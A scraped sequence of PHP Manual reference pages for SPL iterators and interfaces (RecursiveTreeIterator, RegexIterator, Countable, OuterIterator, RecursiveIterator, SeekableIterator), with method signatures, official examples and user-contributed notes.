RecursiveTreeIterator::beginIteration — Begin iteration

Description

public RecursiveIterator RecursiveTreeIterator::beginIteration ( void )

Called when iteration begins (after the first RecursiveTreeIterator::rewind() call).

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A RecursiveIterator.

User Contributed Notes

There are no user contributed notes for this page.


Get children

  • « RecursiveTreeIterator::beginIteration
  • RecursiveTreeIterator::callHasChildren »
  • PHP Manual
  • RecursiveTreeIterator
  • Get children

RecursiveTreeIterator::callGetChildren

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::callGetChildren — Get children

Description

public RecursiveIterator RecursiveTreeIterator::callGetChildren ( void )

Gets children of the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A RecursiveIterator.

User Contributed Notes

There are no user contributed notes for this page.


Has children

  • « RecursiveTreeIterator::callGetChildren
  • RecursiveTreeIterator::__construct »
  • PHP Manual
  • RecursiveTreeIterator
  • Has children

RecursiveTreeIterator::callHasChildren

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::callHasChildren — Has children

Description

public bool RecursiveTreeIterator::callHasChildren ( void )

Called for each element to test whether it has children.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if there are children, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


Construct a RecursiveTreeIterator

  • « RecursiveTreeIterator::callHasChildren
  • RecursiveTreeIterator::current »
  • PHP Manual
  • RecursiveTreeIterator
  • Construct a RecursiveTreeIterator

RecursiveTreeIterator::__construct

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::__construct — Construct a RecursiveTreeIterator

Description

 public RecursiveTreeIterator::__construct
  ( RecursiveIterator|IteratorAggregate $it
 [, int $flags = RecursiveTreeIterator::BYPASS_KEY
 [, int $cit_flags = CachingIterator::CATCH_GET_CHILD
 [, int $mode = RecursiveIteratorIterator::SELF_FIRST
]]] )

Constructs a new RecursiveTreeIterator from the supplied recursive iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

it

The RecursiveIterator or IteratorAggregate to iterate over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under RecursiveTreeIterator predefined constants.

caching_it_flags

Flags to affect the behavior of the RecursiveCachingIterator used internally.

mode

Flags to affect the behavior of the RecursiveIteratorIterator used internally.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Get current element

  • « RecursiveTreeIterator::__construct
  • RecursiveTreeIterator::endChildren »
  • PHP Manual
  • RecursiveTreeIterator
  • Get current element

RecursiveTreeIterator::current

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::current — Get current element

Description

public string RecursiveTreeIterator::current ( void )

Gets the current element prefixed and postfixed.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the current element prefixed and postfixed.

User Contributed Notes

There are no user contributed notes for this page.


End children

  • « RecursiveTreeIterator::current
  • RecursiveTreeIterator::endIteration »
  • PHP Manual
  • RecursiveTreeIterator
  • End children

RecursiveTreeIterator::endChildren

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::endChildren — End children

Description

public void RecursiveTreeIterator::endChildren ( void )

Called when end recursing one level.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


End iteration

  • « RecursiveTreeIterator::endChildren
  • RecursiveTreeIterator::getEntry »
  • PHP Manual
  • RecursiveTreeIterator
  • End iteration

RecursiveTreeIterator::endIteration

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::endIteration — End iteration

Description

public void RecursiveTreeIterator::endIteration ( void )

Called when the iteration ends (when RecursiveTreeIterator::valid() first returns FALSE)

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Get current entry

  • « RecursiveTreeIterator::endIteration
  • RecursiveTreeIterator::getPostfix »
  • PHP Manual
  • RecursiveTreeIterator
  • Get current entry

RecursiveTreeIterator::getEntry

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::getEntry — Get current entry

Description

public string RecursiveTreeIterator::getEntry ( void )

Gets the part of the tree built for the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the part of the tree built for the current element.

User Contributed Notes

There are no user contributed notes for this page.


Get the postfix

  • « RecursiveTreeIterator::getEntry
  • RecursiveTreeIterator::getPrefix »
  • PHP Manual
  • RecursiveTreeIterator
  • Get the postfix

RecursiveTreeIterator::getPostfix

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::getPostfix — Get the postfix

Description

public void RecursiveTreeIterator::getPostfix ( void )

Gets the string to place after the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the string to place after the current element.

User Contributed Notes

There are no user contributed notes for this page.


Get the prefix

  • « RecursiveTreeIterator::getPostfix
  • RecursiveTreeIterator::key »
  • PHP Manual
  • RecursiveTreeIterator
  • Get the prefix

RecursiveTreeIterator::getPrefix

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::getPrefix — Get the prefix

Description

public string RecursiveTreeIterator::getPrefix ( void )

Gets the string to place in front of current element

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the string to place in front of current element

User Contributed Notes

There are no user contributed notes for this page.


Get the key of the current element

  • « RecursiveTreeIterator::getPrefix
  • RecursiveTreeIterator::next »
  • PHP Manual
  • RecursiveTreeIterator
  • Get the key of the current element

RecursiveTreeIterator::key

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::key — Get the key of the current element

Description

public string RecursiveTreeIterator::key ( void )

Gets the current key prefixed and postfixed.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns the current key prefixed and postfixed.

User Contributed Notes

There are no user contributed notes for this page.


Move to next element

  • « RecursiveTreeIterator::key
  • RecursiveTreeIterator::nextElement »
  • PHP Manual
  • RecursiveTreeIterator
  • Move to next element

RecursiveTreeIterator::next

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::next — Move to next element

Description

public void RecursiveTreeIterator::next ( void )

Moves forward to the next element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Next element

  • « RecursiveTreeIterator::next
  • RecursiveTreeIterator::rewind »
  • PHP Manual
  • RecursiveTreeIterator
  • Next element

RecursiveTreeIterator::nextElement

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::nextElement — Next element

Description

public void RecursiveTreeIterator::nextElement ( void )

Called when the next element is available.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewind iterator

  • « RecursiveTreeIterator::nextElement
  • RecursiveTreeIterator::setPrefixPart »
  • PHP Manual
  • RecursiveTreeIterator
  • Rewind iterator

RecursiveTreeIterator::rewind

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::rewind — Rewind iterator

Description

public void RecursiveTreeIterator::rewind ( void )

Rewinds the iterator to the first element of the top level inner iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set a part of the prefix

  • « RecursiveTreeIterator::rewind
  • RecursiveTreeIterator::valid »
  • PHP Manual
  • RecursiveTreeIterator
  • Set a part of the prefix

RecursiveTreeIterator::setPrefixPart

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::setPrefixPart — Set a part of the prefix

Description

public void RecursiveTreeIterator::setPrefixPart ( int $part , string $value )

Sets a part of the prefix used in the graphic tree.

Warning

This function is currently not documented; only its argument list is available.

Parameters

part

One of the RecursiveTreeIterator::PREFIX_* constants.

value

The value to assign to the part of the prefix specified in part.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Check validity

  • « RecursiveTreeIterator::setPrefixPart
  • RegexIterator »
  • PHP Manual
  • RecursiveTreeIterator
  • Check validity

RecursiveTreeIterator::valid

(PHP 5 >= 5.3.0)

RecursiveTreeIterator::valid — Check validity

Description

public bool RecursiveTreeIterator::valid ( void )

Check whether the current position is valid.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the current position is valid, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


The RegexIterator class

(PHP 5 >= 5.2.0)

Introduction

This iterator can be used to filter another iterator based on a regular expression.

Class synopsis

RegexIterator extends FilterIterator {
/* Constants */
const integer MATCH = 0 ;
const integer GET_MATCH = 1 ;
const integer ALL_MATCHES = 2 ;
const integer SPLIT = 3 ;
const integer REPLACE = 4 ;
const integer USE_KEY = 1 ;
/* Methods */
public __construct ( Iterator $iterator , string $regex [, int $mode = self::MATCH [, int $flags = 0 [, int $preg_flags = 0 ]]] )
public bool accept ( void )
public int getFlags ( void )
public int getMode ( void )
public int getPregFlags ( void )
public string getRegex ( void )
public void setFlags ( int $flags )
public void setMode ( int $mode )
public void setPregFlags ( int $preg_flags )
/* Inherited methods */
public abstract bool FilterIterator::accept ( void )
public FilterIterator::__construct ( Iterator $iterator )
public mixed FilterIterator::current ( void )
public Iterator FilterIterator::getInnerIterator ( void )
public mixed FilterIterator::key ( void )
public void FilterIterator::next ( void )
public void FilterIterator::rewind ( void )
public bool FilterIterator::valid ( void )
}

Predefined Constants

RegexIterator operation modes

RegexIterator::ALL_MATCHES

Return all matches for the current entry (see preg_match_all()).

RegexIterator::GET_MATCH

Return the first match for the current entry (see preg_match()).

RegexIterator::MATCH

Only execute match (filter) for the current entry (see preg_match()).

RegexIterator::REPLACE

Replace the current entry (see preg_replace(); Not fully implemented yet)

RegexIterator::SPLIT

Returns the split values for the current entry (see preg_split()).

RegexIterator Flags

RegexIterator::USE_KEY

Special flag: Match the entry key instead of the entry value.

Table of Contents

  • RegexIterator::accept — Get accept status
  • RegexIterator::__construct — Create a new RegexIterator
  • RegexIterator::getFlags — Get flags
  • RegexIterator::getMode — Returns operation mode.
  • RegexIterator::getPregFlags — Returns the regular expression flags.
  • RegexIterator::getRegex — Returns current regular expression
  • RegexIterator::setFlags — Sets the flags.
  • RegexIterator::setMode — Sets the operation mode.
  • RegexIterator::setPregFlags — Sets the regular expression flags.

User Contributed Notes

jinmoku at hotmail dot com 10-Dec-2010 09:28
An exemple :

<?php
$a = new ArrayIterator(array('test1', 'test2', 'test3'));
$i = new RegexIterator($a, '/^(test)(\d+)/', RegexIterator::REPLACE);
$i->replacement = '$2:$1';

print_r(iterator_to_array($i));
/*
Array
(
    [0] => 1:test
    [1] => 2:test
    [2] => 3:test
)
*/
?>


Get accept status

  • « RegexIterator
  • RegexIterator::__construct »
  • PHP Manual
  • RegexIterator
  • Get accept status

RegexIterator::accept

(PHP 5 >= 5.2.0)

RegexIterator::accept — Get accept status

Description

public bool RegexIterator::accept ( void )

Matches (string) RegexIterator::current()
(or RegexIterator::key() if the
RegexIterator::USE_KEY flag is set)
against the regular expression.

Parameters

This function has no parameters.

Return Values

TRUE if a match, FALSE otherwise.

Examples

Example #1 RegexIterator::accept() example

This example shows that only items matching the regular expression are accepted.

<?php
$names = new ArrayIterator(array('Ann', 'Bob', 'Charlie', 'David'));
$filter = new RegexIterator($names, '/^[B-D]/');
foreach ($filter as $name) {
    echo $name . PHP_EOL;
}
?>

The above example will output:

Bob
Charlie
David

See Also

  • RegexIterator constants
  • RegexIterator::setFlags() - Sets the flags.

User Contributed Notes

There are no user contributed notes for this page.


Create a new RegexIterator

  • « RegexIterator::accept
  • RegexIterator::getFlags »
  • PHP Manual
  • RegexIterator
  • Create a new RegexIterator

RegexIterator::__construct

(PHP 5 >= 5.2.0)

RegexIterator::__construct — Create a new RegexIterator

Description

public RegexIterator::__construct ( Iterator $iterator , string $regex [, int $mode = self::MATCH [, int $flags = 0 [, int $preg_flags = 0 ]]] )

Create a new RegexIterator which filters an Iterator using a regular expression.

Parameters

iterator

The iterator to apply this regex filter to.

regex

The regular expression to match.

mode

Operation mode, see RegexIterator::setMode() for a list of modes.

flags

Special flags, see RegexIterator::setFlags() for a list of available flags.

preg_flags

The regular expression flags. These flags depend on the operation mode parameter:

RegexIterator preg_flags
operation mode | available flags
RegexIterator::ALL_MATCHES | See preg_match_all().
RegexIterator::GET_MATCH | See preg_match().
RegexIterator::MATCH | See preg_match().
RegexIterator::REPLACE | none.
RegexIterator::SPLIT | See preg_split().

Examples

Example #1 RegexIterator::__construct() example

Creates a new RegexIterator that filters all strings that start with 'test'.

<?php
$arrayIterator = new ArrayIterator(array('test 1', 'another test', 'test 123'));
$regexIterator = new RegexIterator($arrayIterator, '/^test/');

foreach ($regexIterator as $value) {
    echo $value . "\n";
}
?>

The above example will output something similar to:

test 1
test 123

See Also

  • preg_match() - Perform a regular expression match
  • preg_match_all() - Perform a global regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_split() - Split string by a regular expression

User Contributed Notes

There are no user contributed notes for this page.


Get flags

  • « RegexIterator::__construct
  • RegexIterator::getMode »
  • PHP Manual
  • RegexIterator
  • Get flags

RegexIterator::getFlags

(PHP 5 >= 5.2.0)

RegexIterator::getFlags — Get flags

Description

public int RegexIterator::getFlags ( void )

Returns the flags, see RegexIterator::setFlags() for a list of available flags.

Return Values

Returns the set flags.

Examples

Example #1 RegexIterator::getFlags() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

if ($regexIterator->getFlags() & RegexIterator::USE_KEY) {
    echo 'Filtering based on the array keys.';
} else {
    echo 'Filtering based on the array values.';
}
?>

The above example will output:

Filtering based on the array keys.

See Also

  • RegexIterator::setFlags() - Sets the flags.

User Contributed Notes

There are no user contributed notes for this page.


Returns operation mode.

  • « RegexIterator::getFlags
  • RegexIterator::getPregFlags »
  • PHP Manual
  • RegexIterator
  • Returns operation mode.

RegexIterator::getMode

(PHP 5 >= 5.2.0)

RegexIterator::getMode — Returns operation mode.

Description

public int RegexIterator::getMode ( void )

Returns the operation mode, see RegexIterator::setMode() for the list of operation modes.

Return Values

Returns the operation mode.

Examples

Example #1 RegexIterator::getMode() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^[a-z]+/', RegexIterator::GET_MATCH);

$mode = $regexIterator->getMode();
if ($mode & RegexIterator::GET_MATCH) {
    echo 'Getting the match for each item.';
} elseif ($mode & RegexIterator::ALL_MATCHES) {
    echo 'Getting all matches for each item.';
} elseif ($mode & RegexIterator::MATCH) {
    echo 'Getting each item if it matches.';
} elseif ($mode & RegexIterator::SPLIT) {
    echo 'Getting split pieces of each.';
}
?>

The above example will output:

Getting the match for each item.

See Also

  • RegexIterator::setMode() - Sets the operation mode.

User Contributed Notes

There are no user contributed notes for this page.


Returns the regular expression flags.

  • « RegexIterator::getMode
  • RegexIterator::getRegex »
  • PHP Manual
  • RegexIterator
  • Returns the regular expression flags.

RegexIterator::getPregFlags

(PHP 5 >= 5.2.0)

RegexIterator::getPregFlags — Returns the regular expression flags.

Description

public int RegexIterator::getPregFlags ( void )

Returns the regular expression flags, see RegexIterator::__construct() for the list of flags.

Return Values

Returns a bitmask of the regular expression flags.

Examples

Example #1 RegexIterator::getPregFlags() example

<?php

$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/\s/', RegexIterator::SPLIT);
$regexIterator->setPregFlags(PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

if ($regexIterator->getPregFlags() & PREG_SPLIT_NO_EMPTY) {
    echo 'Ignoring empty pieces';
} else {
    echo 'Not ignoring empty pieces';
}

?>

The above example will output:

Ignoring empty pieces

See Also

  • RegexIterator::setPregFlags() - Sets the regular expression flags.

User Contributed Notes

There are no user contributed notes for this page.


Returns current regular expression

  • « RegexIterator::getPregFlags
  • RegexIterator::setFlags »
  • PHP Manual
  • RegexIterator
  • Returns current regular expression

RegexIterator::getRegex

(PHP 5 >= 5.4.0)

RegexIterator::getRegex — Returns current regular expression

Description

public string RegexIterator::getRegex ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Sets the flags.

  • « RegexIterator::getRegex
  • RegexIterator::setMode »
  • PHP Manual
  • RegexIterator
  • Sets the flags.

RegexIterator::setFlags

(PHP 5 >= 5.2.0)

RegexIterator::setFlags — Sets the flags.

Description

public void RegexIterator::setFlags ( int $flags )

Sets the flags.

Parameters

flags

The flags to set, a bitmask of class constants.

The available flags are listed below. The actual meanings of these flags are described in the predefined constants.

RegexIterator flags
value | constant
1 | RegexIterator::USE_KEY

Return Values

No value is returned.

Examples

Example #1 RegexIterator::setFlags() example

Creates a new RegexIterator that filters all entries whose key starts with 'test'.

<?php
$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

foreach ($regexIterator as $key => $value) {
    echo $key . ' => ' . $value . "\n";
}
?>

The above example will output:

teststr2 => another test

See Also

  • RegexIterator::getFlags() - Get flags

User Contributed Notes

There are no user contributed notes for this page.


Sets the operation mode.

  • « RegexIterator::setFlags
  • RegexIterator::setPregFlags »
  • PHP Manual
  • RegexIterator
  • Sets the operation mode.

RegexIterator::setMode

(PHP 5 >= 5.2.0)

RegexIterator::setMode — Sets the operation mode.

Description

public void RegexIterator::setMode ( int $mode )

Sets the operation mode.

Parameters

mode

The operation mode.

The available modes are listed below. The actual meanings of these modes are described in the predefined constants.

RegexIterator modes
value | constant
0 | RegexIterator::MATCH
1 | RegexIterator::GET_MATCH
2 | RegexIterator::ALL_MATCHES
3 | RegexIterator::SPLIT
4 | RegexIterator::REPLACE

Return Values

No value is returned.

Examples

Example #1 RegexIterator::setMode() example

<?php
$test = array ('str1' => 'test 1', 'test str2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
// Filter everything that starts with 'test ' followed by one or more numbers.
$regexIterator = new RegexIterator($arrayIterator, '/^test (\d+)/');
// Operation mode: Replace actual value with the matches
$regexIterator->setMode(RegexIterator::GET_MATCH);

foreach ($regexIterator as $key => $value) {
    // print out the matched number(s)
    echo $key . ' => ' . $value[1] . PHP_EOL;
}
?>

The above example will output something similar to:

str1 => 1
str3 => 123

See Also

  • RegexIterator::getMode() - Returns operation mode.

User Contributed Notes

There are no user contributed notes for this page.


Sets the regular expression flags.

  • « RegexIterator::setMode
  • Interfaces »
  • PHP Manual
  • RegexIterator
  • Sets the regular expression flags.

RegexIterator::setPregFlags

(PHP 5 >= 5.2.0)

RegexIterator::setPregFlags — Sets the regular expression flags.

Description

public void RegexIterator::setPregFlags ( int $preg_flags )

Sets the regular expression flags.

Parameters

preg_flags

The regular expression flags. See RegexIterator::__construct() for an overview of available flags.

Return Values

No value is returned.

Examples

Example #1 RegexIterator::setPregFlags() example

Creates a new RegexIterator that filters all entries with where the array key starts with 'test'.

<?php
$test = array ('test 1', 'another test', 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/', RegexIterator::GET_MATCH);

$regexIterator->setPregFlags(PREG_OFFSET_CAPTURE);

foreach ($regexIterator as $key => $value) {
    var_dump($value);
}
?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}

See Also

  • RegexIterator::getPregFlags() - Returns the regular expression flags.

User Contributed Notes

There are no user contributed notes for this page.


Interfaces

Table of Contents

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator

SPL provides a set of interfaces.

See also the Predefined Interfaces and Classes

Interface list

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator
  • SplObserver
  • SplSubject

User Contributed Notes

There are no user contributed notes for this page.


The Countable interface

(PHP 5 >= 5.1.0)

Introduction

Classes implementing Countable can be used with the count() function.

Interface synopsis

Countable {
/* Methods */
abstract public int count ( void )
}

Table of Contents

  • Countable::count — Count elements of an object

User Contributed Notes

Anonymous 17-Jan-2011 03:10
Note that arrays don't implement countable. Therefore you can't force a countable parameter for a function if you want it also to work with native arrays.
isaac dot z dot foster dot nada at spamporfav dot gmail dot com 08-Jun-2010 10:18
I just want to point out that your class has to actually implement the Countable interface, not just define a count method, to be able to use count($object) and get the expected results. I.e. the first example below won't work as expected, the second will. (The normal arrow function accessor ($object->count()) will work fine, but that's not the kewl part :) )

<?php
//Example One, BAD :(

class CountMe
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "1", not as expected

//Example Two, GOOD :)

class CountMe implements Countable
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "3" as expected
?>


Count elements of an object

  • « Countable
  • OuterIterator »
  • PHP Manual
  • Countable
  • Count elements of an object

Countable::count

(PHP 5 >= 5.1.0)

Countable::count — Count elements of an object

Description

abstract public int Countable::count ( void )

This method is executed when using the count() function on an object implementing Countable.

Parameters

This function has no parameters.

Return Values

The custom count as an integer.

Note:

The return value is cast to an integer.

Examples

Example #1 Countable::count() example

<?php
class myCounter implements Countable {
    private $count = 0;
    public function count() {
        return ++$this->count;
    }
}

$counter = new myCounter;

for($i=0; $i<10; ++$i) {
    echo "I have been count()ed " . count($counter) . " times\n";
}
?>

The above example will output something similar to:

I have been count()ed 1 times
I have been count()ed 2 times
I have been count()ed 3 times
I have been count()ed 4 times
I have been count()ed 5 times
I have been count()ed 6 times
I have been count()ed 7 times
I have been count()ed 8 times
I have been count()ed 9 times
I have been count()ed 10 times

User Contributed Notes

SenseException 10-Mar-2014 08:59
Even though Countable::count method is called when the object implementing Countable is used in count() function, the second parameter of count, $mode, has no influence to your class method.

$mode is not passed to  Countable::count:

<?php

class Foo implements Countable
{
    public function count()
    {
        var_dump(func_get_args());
        return 1;
    }
}

count(new Foo(), COUNT_RECURSIVE);

?>

var_dump output:

array(0) {
}


The OuterIterator interface

(PHP 5 >= 5.1.0)

Introduction

Classes implementing OuterIterator can be used to iterate over iterators.

Interface synopsis

OuterIterator extends Iterator {
/* Methods */
public Iterator getInnerIterator ( void )
/* Inherited methods */
abstract public mixed Iterator::current ( void )
abstract public scalar Iterator::key ( void )
abstract public void Iterator::next ( void )
abstract public void Iterator::rewind ( void )
abstract public boolean Iterator::valid ( void )
}

Table of Contents

  • OuterIterator::getInnerIterator — Returns the inner iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.


Returns the inner iterator for the current entry.

  • « OuterIterator
  • RecursiveIterator »
  • PHP Manual
  • OuterIterator
  • Returns the inner iterator for the current entry.

OuterIterator::getInnerIterator

(PHP 5 >= 5.1.0)

OuterIterator::getInnerIterator — Returns the inner iterator for the current entry.

Description

public Iterator OuterIterator::getInnerIterator ( void )

Returns the inner iterator for the current iterator entry.

Parameters

This function has no parameters.

Return Values

The inner iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveIterator interface

(PHP 5 >= 5.1.0)

Introduction

Classes implementing RecursiveIterator can be used to iterate over iterators recursively.

Interface synopsis

RecursiveIterator extends Iterator {
/* Methods */
public RecursiveIterator getChildren ( void )
public bool hasChildren ( void )
/* Inherited methods */
abstract public mixed Iterator::current ( void )
abstract public scalar Iterator::key ( void )
abstract public void Iterator::next ( void )
abstract public void Iterator::rewind ( void )
abstract public boolean Iterator::valid ( void )
}

Table of Contents

  • RecursiveIterator::getChildren — Returns an iterator for the current entry.
  • RecursiveIterator::hasChildren — Returns if an iterator can be created fot the current entry.

User Contributed Notes

andresdzphp at php dot net 04-Oct-2011 09:43
RecursiveIterator example:

<?php

class MyRecursiveIterator implements RecursiveIterator
{
    private $_data;
    private $_position = 0;

    public function __construct(array $data) {
        $this->_data = $data;
    }

    public function valid() {
        return isset($this->_data[$this->_position]);
    }

    public function hasChildren() {
        return is_array($this->_data[$this->_position]);
    }

    public function next() {
        $this->_position++;
    }

    public function current() {
        return $this->_data[$this->_position];
    }

    public function getChildren() {
        echo '<pre>';
        print_r($this->_data[$this->_position]);
        echo '</pre>';
    }

    public function rewind() {
        $this->_position = 0;
    }

    public function key() {
        return $this->_position;
    }
}

$arr = array(0, 1, 2, 3, 4, 5 => array(10, 20, 30), 6, 7, 8, 9 => array(1, 2, 3));
$mri = new MyRecursiveIterator($arr);

foreach ($mri as $c => $v) {
    if ($mri->hasChildren()) {
        echo "$c has children: <br />";
        $mri->getChildren();
    } else {
        echo "$v <br />";
    }

}
?>

Result:

0
1
2
3
4
5 has children:
Array
(
    [0] => 10
    [1] => 20
    [2] => 30
)
6
7
8
9 has children:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)


Returns an iterator for the current entry.

  • « RecursiveIterator
  • RecursiveIterator::hasChildren »
  • PHP Manual
  • RecursiveIterator
  • Returns an iterator for the current entry.

RecursiveIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveIterator::getChildren — Returns an iterator for the current entry.

Description

public RecursiveIterator RecursiveIterator::getChildren ( void )

Returns an iterator for the current iterator entry.

Parameters

This function has no parameters.

Return Values

An iterator for the current entry.

See Also

  • RecursiveIterator::hasChildren() - Returns if an iterator can be created fot the current entry.

User Contributed Notes

There are no user contributed notes for this page.


Returns if an iterator can be created fot the current entry.

  • « RecursiveIterator::getChildren
  • SeekableIterator »
  • PHP Manual
  • RecursiveIterator
  • Returns if an iterator can be created fot the current entry.

RecursiveIterator::hasChildren

(PHP 5 >= 5.1.0)

RecursiveIterator::hasChildren — Returns if an iterator can be created fot the current entry.

Description

public bool RecursiveIterator::hasChildren ( void )

Returns if an iterator can be created for the current entry. RecursiveIterator::getChildren().

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current entry can be iterated over, otherwise returns FALSE.

See Also

  • RecursiveIterator::getChildren() - Returns an iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.


The SeekableIterator interface

(PHP 5 >= 5.1.0)

Introduction

The Seekable iterator.

Interface synopsis

SeekableIterator extends Iterator {
/* Methods */
abstract public void seek ( int $position )
/* Inherited methods */
abstract public mixed Iterator::current ( void )
abstract public scalar Iterator::key ( void )
abstract public void Iterator::next ( void )
abstract public void Iterator::rewind ( void )
abstract public boolean Iterator::valid ( void )
}

Example #1 Basic usage

This example demonstrates creating a custom SeekableIterator, seeking to a position and handling an invalid position.

<?php
class MySeekableIterator implements SeekableIterator {

    private $position;

    private $array = array(
        "first element",
        "second element",
        "third element",
        "fourth element"
    );

    /* Method required for SeekableIterator interface */

    public function seek($position) {
      if (!isset($this->array[$position])) {
          throw new OutOfBoundsException("invalid seek position ($position)");
      }

      $this->position = $position;
    }

    /* Methods required for Iterator interface */

    public function rewind() {
        $this->position = 0;
    }

    public function current() {
        return $this->array[$this->position];
    }

    public function key() {
        return $this->position;
    }

    public function next() {
        ++$this->position;
    }

    public function valid() {
        return isset($this->array[$this->position]);
    }
}

try {

    $it = new MySeekableIterator;
    echo $it->current(), "\n";

    $it->seek(2);
    echo $it->current(), "\n";

    $it->seek(1);
    echo $it->current(), "\n";

    $it->seek(10);

} catch (OutOfBoundsException $e) {
    echo $e->getMessage();
}
?>

The above example will output something similar to:

first element
third element
second element
invalid seek position (10)

Table of Contents

  • SeekableIterator::seek — Seeks to a position

User Contributed Notes

Anonymous 20-Oct-2013 09:43
The code above is missing a closing parenthesis.

<?php
if (!isset($this->array[$position]) {
          throw new OutOfBoundsException("invalid seek position ($position)");
}
?>

should be

<?php
if (!isset($this->array[$position])) { // close here
          throw new OutOfBoundsException("invalid seek position ($position)");
}
?>
svenr at selfhtml dot org 15-Nov-2011 01:21
Best method:

<?php

if ($object instanceof SeekableIterator) {
  echo "\$object has method seek()";
}

?>

Please, make use of checking if a particular interface has been implemented to assure that the object you are dealing with definately has the methods you are about to use.

This also works as typehinting:

<?php

class foo {
  public function doSomeSeeking(SeekableIterator $seekMe) {
    $seekMe->seek(10); // will work, otherwise Typehint triggers complaints
  }
}

?>
martin at smasty dot net 15-May-2011 05:01
The reflection approach:

<?php

$reflection = new ReflectionClass('MySeekableIterator');
if($reflection->hasMethod('seek'))
  echo "This class has method seek().";

?>
marcin dot kleczek at gmail dot com 15-Apr-2010 08:59
Better method:

<?php
            $class = 'SeekableIterator';
            $findingMethod = 'seek'; // have to be lower chars

            $methods = get_class_methods($class);

            foreach( $methods as $pVal )
                if ( $findingMethod == strtolower($pVal) ) {
                    echo 'This class has method seek().';
                    break;
                }

}

?>

Best method: http://php.net/manual/en/function.method-exists.php
dreake at example dot com 30-Jun-2009 11:38
This example show how to check if some class has method seek() (or another method).

<?php
$class = 'SeekableIterator';
            $findingMethod = 'seek'; // have to be lower chars

            $methods = get_class_methods($class);

            for($i = 0, $ii = count($methods); $i < $ii; $i++){
                $sl = strtolower($methods[$i]);
                $lowermethods[$i] = $sl;
            }

            if(in_array($findingMethod,$lowermethods))
                echo 'This class has method seek().';
?>


Seeks to a position

  • « SeekableIterator
  • Exceptions »
  • PHP Manual
  • SeekableIterator
  • Seeks to a position

SeekableIterator::seek

